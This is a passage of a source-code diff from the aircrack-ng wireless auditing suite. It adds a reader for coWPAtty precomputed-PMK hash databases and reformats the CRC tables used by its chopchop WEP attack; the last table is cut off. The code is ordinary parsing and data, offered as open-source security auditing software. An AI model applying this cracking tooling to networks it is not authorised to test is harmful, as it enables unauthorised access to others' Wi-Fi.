+			ret->fp = NULL;
+			return ret;
+		}
+		if (filehead.ssid[0] == 0)
+		{
+			strcpy(ret->error, "SSID is NULL");
+			fclose(ret->fp);
+			ret->fp = NULL;
+			return ret;
+		}
+
+		// Copy SSID
+		memcpy(ret->ssid, filehead.ssid, sizeof(filehead.ssid));
+		if (filehead.ssidlen > 32 || filehead.ssidlen == 0)
+		{
+			snprintf(ret->error,
+					 sizeof(ret->error),
+					 "Advertised SSID length is %u (Max length: 32)",
+					 filehead.ssidlen);
+			fclose(ret->fp);
+			ret->fp = NULL;
+		}
+	}
+	else
+	{
+		// Write not supported yet
+		strcpy(ret->error, "Write and other modes not supported yet");
+	}
+
+	return ret;
+}
+
+struct hashdb_rec * read_next_cowpatty_record(struct cowpatty_file * cf)
+{
+	int rc, wordlength;
+	struct hashdb_rec * ret = NULL;
+
+	if (cf == NULL || cf->error[0])
+	{
+		return NULL;
+	}
+
+	if (cf->fp == NULL)
+	{
+		strcpy(cf->error, "File pointer is NULL");
+		return NULL;
+	}
+
+	// Allocate memory
+	ret = (struct hashdb_rec *) malloc(sizeof(struct hashdb_rec));
+	if (ret == NULL)
+	{
+		strcpy(cf->error, "Failed allocating memory for coWPAtty record");
+		return NULL;
+	}
+
+	// Read record size
+	rc = fread(&(ret->rec_size), sizeof(ret->rec_size), 1, cf->fp);
+
+	// Close and exit if failed
+	if (rc != 1 && feof(cf->fp))
+	{
+		free(ret);
+		fclose(cf->fp);
+		cf->fp = NULL;
+		return NULL;
+	}
+
+	// Get passphrase length
+	ret->word = NULL;
+	wordlength = ret->rec_size - (sizeof(ret->pmk) + sizeof(ret->rec_size));
+
+	if (wordlength > 0 && wordlength <= MAX_PASSPHRASE_LENGTH)
+	{
+		ret->word = (char *) calloc(wordlength + 1, sizeof(char));
+
+		// Read passphrase
+		rc += fread(ret->word, wordlength, 1, cf->fp);
+		if (rc == 2)
+		{
+			// And the PMK
+			rc += fread(&ret->pmk, sizeof(ret->pmk), 1, cf->fp);
+		}
+	}
+
+	// Check if everything went well
+	if (rc != 3 || ret->word == NULL || ret->word[0] == 0)
+	{
+		if (rc == 1)
+		{
+			snprintf(cf->error,
+					 sizeof(cf->error),
+					 "Error while reading record, failed to read passphrase "
+					 "invalid word length: %i",
+					 wordlength);
+		}
+		else if (rc == 2)
+		{
+			strcpy(cf->error, "Error while reading record, failed reading PMK");
+		}
+		else
+		{
+			strcpy(cf->error, "NULL or empty passphrase");
+		}
+
+		// Cleanup and close file
+		fclose(cf->fp);
+		free(ret->word);
+		free(ret);
+		ret = NULL;
+		cf->fp = NULL;
+	}
+
+	return ret;
+}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/cowpatty.h Added

@@ -0,0 +1,70 @@
+/*
+ *  coWPAtty hash DB file format structures and helper functions
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _COWPATTY_H_
+#define _COWPATTY_H_
+
+#include <stdint.h>
+
+#define MAX_PASSPHRASE_LENGTH 63
+
+#define GENPMKMAGIC 0x43575041
+struct hashdb_head
+{
+	uint32_t magic;
+	uint8_t reserved1[3];
+	uint8_t ssidlen;
+	uint8_t ssid[32];
+};
+
+struct hashdb_rec
+{
+	uint8_t rec_size;
+	char * word;
+	uint8_t pmk[32];
+} __attribute__((packed));
+
+struct cowpatty_file
+{
+	char ssid[33];
+	FILE * fp;
+	char error[256 - sizeof(FILE *) - 33];
+};
+
+void close_free_cowpatty_hashdb(struct cowpatty_file * cf);
+struct cowpatty_file * open_cowpatty_hashdb(const char * filename,
+											const char * mode);
+struct hashdb_rec * read_next_cowpatty_record(struct cowpatty_file * cf);
+
+#endif // _COWPATTY_H_
\ No newline at end of file

aircrack-ng-1.2-rc4.tar.gz/src/crctable.h -> aircrack-ng-1.4.tar.gz/src/crctable.h Changed

@@ -1,108 +1,179 @@
 #ifndef _CRCTABLE_H
 #define _CRCTABLE_H
 
-const unsigned long int crc_tbl[256] =
-{
-    0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
-    0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
-    0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
-    0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
-    0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
-    0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
-    0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
-    0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
-    0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
-    0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
-    0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
-    0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
-    0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
-    0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
-    0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
-    0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
-    0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
-    0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
-    0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
-    0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
-    0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
-    0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
-    0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
-    0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
-    0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
-    0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
-    0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
-    0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
-    0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
-    0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
-    0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
-    0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
-};
+const unsigned long int crc_tbl[256]
+	= {0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
+	   0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
+	   0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
+	   0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
+	   0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
+	   0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
+	   0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
+	   0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
+	   0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
+	   0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
+	   0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
+	   0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
+	   0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
+	   0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
+	   0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
+	   0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
+	   0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
+	   0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
+	   0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
+	   0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
+	   0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
+	   0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
+	   0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
+	   0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
+	   0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
+	   0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
+	   0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
+	   0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
+	   0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
+	   0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
+	   0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
+	   0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
+	   0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
+	   0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
+	   0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
+	   0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
+	   0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
+	   0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
+	   0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
+	   0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
+	   0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
+	   0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
+	   0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D};
 
-const unsigned char crc_chop_tbl[256][4] =
-{
-    { 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 },
-    { 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 },
-    { 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 },
-    { 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F },
-    { 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 },
-    { 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 },
-    { 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E },
-    { 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 },
-    { 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 },
-    { 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D },
-    { 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB },
-    { 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 },
-    { 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C },
-    { 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 },
-    { 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 },
-    { 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA },
-    { 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 },
-    { 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD },
-    { 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B },
-    { 0x07,0x2E,0x7A,0x66 }, { 0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 },
-    { 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC },
-    { 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 },
-    { 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 },
-    { 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A },
-    { 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 },
-    { 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 },
-    { 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 },
-    { 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF },
-    { 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 },
-    { 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 },
-    { 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE },
-    { 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 },
-    { 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC },
-    { 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 },
-    { 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 },
-    { 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A },
-    { 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 },
-    { 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD },
-    { 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B },
-    { 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 },
-    { 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 },
-    { 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 },
-    { 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE },
-    { 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 },
-    { 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 },
-    { 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 },
-    { 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 0x93,0x73,0x2D,0x04 },
-    { 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF },
-    { 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 },
-    { 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 },
-    { 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E },
-    { 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 },
-    { 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 },
-    { 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 },
-    { 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 },
-    { 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F },
-    { 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C },
-    { 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 },
-    { 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 },
-    { 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA },
-    { 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 },
-    { 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D },
-    { 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB },
-    { 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 }
-};
+const unsigned char crc_chop_tbl[256][4]
+	= {{0x26, 0x70, 0x6A, 0x0F}, {0x67, 0x76, 0x1B, 0xD4},
+	   {0xE5, 0x7A, 0xF9, 0x62}, {0xA4, 0x7C, 0x88, 0xB9},
+	   {0xA0, 0x65, 0x4C, 0xD4}, {0xE1, 0x63, 0x3D, 0x0F},
+	   {0x63, 0x6F, 0xDF, 0xB9}, {0x22, 0x69, 0xAE, 0x62},
+	   {0x6B, 0x5D, 0x57, 0x62}, {0x2A, 0x5B, 0x26, 0xB9},
+	   {0xA8, 0x57, 0xC4, 0x0F}, {0xE9, 0x51, 0xB5, 0xD4},
+	   {0xED, 0x48, 0x71, 0xB9}, {0xAC, 0x4E, 0x00, 0x62},
+	   {0x2E, 0x42, 0xE2, 0xD4}, {0x6F, 0x44, 0x93, 0x0F},
+	   {0xBC, 0x2A, 0x10, 0xD5}, {0xFD, 0x2C, 0x61, 0x0E},
+	   {0x7F, 0x20, 0x83, 0xB8}, {0x3E, 0x26, 0xF2, 0x63},
+	   {0x3A, 0x3F, 0x36, 0x0E}, {0x7B, 0x39, 0x47, 0xD5},
+	   {0xF9, 0x35, 0xA5, 0x63}, {0xB8, 0x33, 0xD4, 0xB8},
+	   {0xF1, 0x07, 0x2D, 0xB8}, {0xB0, 0x01, 0x5C, 0x63},
+	   {0x32, 0x0D, 0xBE, 0xD5}, {0x73, 0x0B, 0xCF, 0x0E},
+	   {0x77, 0x12, 0x0B, 0x63}, {0x36, 0x14, 0x7A, 0xB8},
+	   {0xB4, 0x18, 0x98, 0x0E}, {0xF5, 0x1E, 0xE9, 0xD5},
+	   {0x53, 0xC3, 0xEF, 0x60}, {0x12, 0xC5, 0x9E, 0xBB},
+	   {0x90, 0xC9, 0x7C, 0x0D}, {0xD1, 0xCF, 0x0D, 0xD6},
+	   {0xD5, 0xD6, 0xC9, 0xBB}, {0x94, 0xD0, 0xB8, 0x60},
+	   {0x16, 0xDC, 0x5A, 0xD6}, {0x57, 0xDA, 0x2B, 0x0D},
+	   {0x1E, 0xEE, 0xD2, 0x0D}, {0x5F, 0xE8, 0xA3, 0xD6},
+	   {0xDD, 0xE4, 0x41, 0x60}, {0x9C, 0xE2, 0x30, 0xBB},
+	   {0x98, 0xFB, 0xF4, 0xD6}, {0xD9, 0xFD, 0x85, 0x0D},
+	   {0x5B, 0xF1, 0x67, 0xBB}, {0x1A, 0xF7, 0x16, 0x60},
+	   {0xC9, 0x99, 0x95, 0xBA}, {0x88, 0x9F, 0xE4, 0x61},
+	   {0x0A, 0x93, 0x06, 0xD7}, {0x4B, 0x95, 0x77, 0x0C},
